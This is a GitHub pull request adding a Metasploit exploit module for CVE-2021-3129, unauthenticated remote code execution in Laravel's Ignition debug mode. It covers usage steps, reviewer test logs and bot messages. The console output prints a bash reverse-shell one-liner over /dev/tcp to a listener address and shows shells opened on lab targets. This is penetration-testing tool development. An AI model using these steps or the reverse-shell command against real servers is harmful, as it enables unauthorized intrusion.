Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module to CVE-2021-3129 #16159

Merged
merged 14 commits into from
Feb 15, 2022
Merged

Conversation

heyder
Copy link
Contributor

@heyder heyder commented Feb 8, 2022

This module exploits a vulnerability in Ignition before 2.5.2,
as used in Laravel and other products, allows unauthenticated
remote attackers to execute arbitrary code because of insecure
usage of file_get_contents() and file_put_contents().
This is exploitable on sites using debug mode with Laravel before 8.4.2.

This module has been tested successfully on Debian 10.7 (x86_64) with
kernel version 5.10.60.

Verification

List the steps needed to make sure this thing works

  • Create the log file manually in /var/www/storage/logs/laravel.log
    if using the bellow mentioned container
  • Start msfconsole
  • use exploit/multi/php/ignition_laravel_debug_rc
  • set RHOSTS
  • set RPORT
  • set LHOST
  • exploit

Environment

This module was tested using a vulnerable docker container
as available on the vulnhub project. However this container doesn't come
with the required log file created. It needs to be created
manually in the path /var/www/storage/logs/laravel.log.

Even though the compose file from this container says laravel:8.4.2 on
my environment it was deployed with the version 8.26.1. I also didn't find the
release 8.4.2 in the Laravel repository.

Software versions

PHP 7.4.1
Laravel Framework 8.26.1
Ignition 2.5.1
Debian 10.7

Output

msf6 exploit(multi/php/ignition_laravel_debug_rce) > exploit

[+] bash -c '0<&65-;exec 65<>/dev/tcp/172.28.241.244/4444;sh <&65 >&65 2>&65'
[*] Started reverse TCP handler on 172.28.241.244:4444
[*] Checking component version to 172.28.240.1:8080
[*] Debug mode is enabled.
[*] Found PHP 7.4.15 running Laravel 8.26.1
[*] Found log file /var/www/storage/logs/laravel.log
[*] Command shell session 2 opened (172.28.241.244:4444 -> 172.28.240.1:56840 ) at 2022-02-08 11:32:12 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php /var/www/artisan --version
Laravel Framework 8.26.1
head ../vendor/facade/ignition/CHANGELOG.md
# Changelog

All notable changes to `ignition` will be documented in this file

## 2.5.1 - 2020-11-13

- add support for LiveWire component urls

## 2.5.0 - 2020-10-27

uname -a
Linux 9f96df025a2b 5.10.60.1-microsoft-standard-WSL2 #1 SMP Wed Aug 25 23:20:18 UTC 2021 x86_64 GNU/Linux
cat /etc/debian_version
10.7
exit
[*] 172.28.240.1 - Command shell session 2 closed.

@github-actions
Copy link

github-actions bot commented Feb 8, 2022

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@smcintyre-r7 smcintyre-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Feb 8, 2022
@github-actions
Copy link

github-actions bot commented Feb 8, 2022

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@bcoles bcoles added docs and removed needs-docs needs-linting The module needs additional work to pass our automated linting rules labels Feb 8, 2022
heyder and others added 4 commits February 10, 2022 20:08
As we can't determine with certainly whether the target is vulnerable the check method should return appear instead of vulnerable.

Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com>
Cases
[x] User defined wrong log file
    [-] Exploit aborted due to failure: unexpected-reply: Log file
/var/www/log.log seems doesn't exit
[x] module doesnt detect the log file
    [-] Log file does not exist /var/www/storage/logs/laravel.log
    [-] Exploit aborted due to failure: bad-config: Log file is
required, however it was defined nor it was not automatically detecte
[x] site doesnt respond with error, module unable to find the log
directoy
    [-] Unable to automatically find the log file. To continue set
LOGPATH manually
    [-] Exploit aborted due to failure: bad-config: Log file is
required, however it was defined nor it was not automatically detected
[x] site with debug mode false
    [-] Exploit aborted due to failure: not-vulnerable: The target is
not exploitable. "set ForceExploit true" to override check result
Update option name from LOGPATH to LOGFILE to become more intuitive.
- Removed else statements from check in favor of implicit return
- Added comment explaining the check strategy (to be less intrusive)
@bwatters-r7 bwatters-r7 self-assigned this Feb 14, 2022
@bwatters-r7
Copy link
Contributor

Test

msf6 exploit(multi/php/ignition_laravel_debug_rce) > show options

Module options (exploit/multi/php/ignition_laravel_debug_rce):

   Name       Current Setting              Required  Description
   ----       ---------------              --------  -----------
   LOGFILE                                 no        Laravel log file absolute path
   Proxies                                 no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                     ing-Metasploit
   RPORT      80                           yes       The target port (TCP)
   SSL        false                        no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /_ignition/execute-solution  yes       Ignition execute solution path
   VHOST                                   no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)


msf6 exploit(multi/php/ignition_laravel_debug_rce) > set verbose true
verbose => true
msf6 exploit(multi/php/ignition_laravel_debug_rce) > set rhost 10.5.134.153
rhost => 10.5.134.153
msf6 exploit(multi/php/ignition_laravel_debug_rce) > set rport 8080
rport => 8080
msf6 exploit(multi/php/ignition_laravel_debug_rce) > set lhost 10.5.135.101
lhost => 10.5.135.101
msf6 exploit(multi/php/ignition_laravel_debug_rce) > run

[+] bash -c '0<&100-;exec 100<>/dev/tcp/10.5.135.101/4444;sh <&100 >&100 2>&100'
[*] Started reverse TCP handler on 10.5.135.101:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking component version to 10.5.134.153:8080
[*] Debug mode is enabled.
[*] Found PHP 7.4.15 running Laravel 8.26.1
[+] The target appears to be vulnerable.
[*] Trying to detect log file
[*] Found directory canditate /var/www
[*] Cheking if /var/www/storage/logs/laravel.log exists
[*] Found log file /var/www/storage/logs/laravel.log
[*] Command shell session 1 opened (10.5.135.101:4444 -> 10.5.134.153:40438 ) at 2022-02-14 16:31:29 -0600
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Copy link
Contributor

@bwatters-r7 bwatters-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey there- thanks so much for your submission! I only have a few minor suggestions.

heyder and others added 5 commits February 15, 2022 08:46
Fix typos

Co-authored-by: Brendan <bwatters@rapid7.com>
Fix typos

Co-authored-by: Brendan <bwatters@rapid7.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
@bwatters-r7 bwatters-r7 merged commit 1086926 into rapid7:master Feb 15, 2022
@bwatters-r7
Copy link
Contributor

Release Notes

This module exploits a vulnerability in Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents().

@heyder heyder deleted the ignition_laravel_debug_rce branch February 16, 2022 08:17
@ebleiweiss-r7 ebleiweiss-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 18, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants